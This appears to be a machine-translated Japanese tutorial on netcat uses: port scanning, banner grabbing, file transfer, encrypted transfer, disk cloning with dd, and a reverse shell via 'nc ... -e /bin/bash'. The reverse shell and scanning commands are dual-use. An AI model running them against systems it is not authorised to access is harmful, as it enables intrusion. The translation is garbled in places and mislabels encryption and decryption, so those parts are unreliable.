Linux Netcat命令—ネットツールの中のスイスの軍刀

3683 ワード

Linux Netcat命令—ネットツールの中のスイスの軍刀
作者:http://www.linuxeden.com/html/news/20130411/138061.html 出典:http://www.linuxeden.com/html/news/20130411/138061.html
Linux netcatコマンドの例:
1,ポートスキャン
ポートスキャンはしばしばシステム管理者とハッカーによって利用され、いくつかのマシンでポートを開放して、彼らがシステムの中の穴を識別するのを助けます。
$nc -z -v -n 172.31.100.7 21-25
はTCPまたはUDPモードで動作することができ、デフォルトはTCPであり、−uパラメータはupに調整される。
zパラメータは、netcatに0 IOを使うと教えています。接続が一旦停止されたら、データ交換を行わないということです。
vパラメータとは、冗長オプションを使うことです。
nパラメータは、NEtcatがDNSを使用しないように、IPアドレスのドメイン名を逆方向に照会してください。
このコマンドは、21から25までのすべてのオープンポートを印刷します。Bannerはテキストです。Bannerはあなたが接続したサービスでテキスト情報を送ります。脆弱性やサービスの種類やバージョンを識別しようとすると、Banner情報は非常に有用である。しかし、すべてのサービスがbannerに送られるわけではない。
オープンしたポートを見つけたら、彼らのバナーを簡単にインターネット接続サービスで捕まえることができます。
$ nc -v 172.31.100.7 21
netcatコマンドは、オープンポート21に接続され、このポートでサービスを実行するbanner情報を印刷する。
3,ファイル転送
ほとんどの時間において、私たちはファイルをネットワークまたは他のツールで転送しようとしています。多くの方法があります。例えば、FTP、SCP、SMBなどがありますが、ファイルを一時的または一回転送するだけで、本当に時間を無駄にしてソフトウェアをあなたのマシンにインストールする価値があります。仮に、ファイルfile.txtをAからBに送るとします。AまたはBはいずれもサーバまたはクライアントとして機能することができ、以下、Aをサーバとして、Bをクライアントとする。
Server
$nc -l 1567 < file.txt
Cient
$nc -n 172.31.100.7 1567 > file.txt
ここでサーバがA上に作成され、netcatへの入力がファイルfile.txtにリダイレクトされると、どのポートに接続されても、netcatはfileのファイル内容を送信します。
クライアントで私達は転送してfile.txtに出力します。BがAに接続されると、Aはファイルの内容を送ります。Bはファイルの内容をfile.txtに保存します。
Serverとしてファイルソースを作成する必要はありません。逆の方法で使用することもできます。下のように私たちはファイルをBからAに送りますが、サーバーはAに作成されています。今回はnetcatの出力をリダイレクトし、Bの入力ファイルをリダイレクトするだけです。
BをServerとして
Server
$nc -l 1567 > file.txt
Cient
nc 172.31.100.23 1567 < file.txt
5.ネットワークで送信したデータを暗号化する
あなたがインターネットでデータを送るのが安全で心配なら、あなたのデータを送る前にmcryptのようなツールで暗号化することができます。
職務に服する
$nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt
は、mcryptツールを使ってデータを暗号化します。
クライアント
$mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567
は、mcryptツールを使用してデータを復号します。
以上の二つのコマンドは、パスワードが必要です。両端に同じパスワードを使うようにしてください。
ここではmcryptを使って暗号化します。他の任意の暗号化ツールを使ってもいいです。
7,デバイスをクローン
既にLinuxマシンを設置していて、他のマシンに対して同じ操作を繰り返す必要があります。再構成したくないです。再構成が必要な場合ではなく、他のマシンのガイドだけを起動して、ディスクを持ち歩き、あなたのマシンをクローンできます。
Linux PCをクローンするのは簡単です。もしあなたのシステムがディスク/dev/sdaにあるならば。
Server
$dd if=/dev/sda | nc -l 1567
Cient
$nc -n 172.31.100.7 1567 | dd of=/dev/sda
ddはディスクから元のデータを読み出すためのツールであり、netcatサーバを介してその出力を他のマシンに転送し、ディスクに書き込みます。これはパーティションテーブルに従ってすべての情報をコピーします。しかし、私たちはすでにパーティションを作っていて、rootパーティションだけをクローンする必要があります。私たちはシステムのrootパーティションの位置によって、sdaをsda 1、sda 2などに変更できます。
逆shell
逆shellは、人がクライアントで開いたshellです。逆shellという名前は他の構成とは違って、ここでサーバが利用するのはお客様から提供されたサービスです。
職務に服する
$nc -l 1567
は、クライアントで、簡単にnetcatに接続が完了したら、shellを実行するように伝えます。
クライアント
$nc 172.31.100.7 1567 -e /bin/bash
今、逆shellの特別なところは何ですか? 
逆shellはしばしばファイアウォールの制限を回避するために使用されます。例えば、専用IPアドレスが172.31.100.7あります。プロキシを使って外部ネットワークに接続します。もし私がネットの外から訪問したいならば。 
このマシンは1.2.3.4のshellのようです。この目的のために逆カバーを使います。 
 
11.ソースアドレスを指定する
あなたのマシンに複数の住所があると仮定して、どの住所を外部データ通信に使うかを明確に指定したいです。netcatで-sオプションを使ってipアドレスを指定できます。
サーバ端
$nc -u -l 1567 < file.txt
クライアント
$nc -u 172.31.100.7 1567 -s 172.31.100.5 > file.txt
コマンドは、バインディングアドレス172.31.100.5を表します。
これはnetcatを使用するいくつかの例にすぎない。
その他の用途は:
使用-tオプションアナログTelnetクライアント、HTTPクライアントはファイルをダウンロードするために使用されます。
メールサーバに接続し、SMTPプロトコルでメールをチェックします。スクリーンをスクリーンショットで切り取り、ストリーミングで共有するなど。その他多くの用途。簡単に言えば、契約を理解すれば、インターネット通信媒体としてnetcatを利用して、各種クライアントを実現することができます。
参考文献
Netcatマニュアル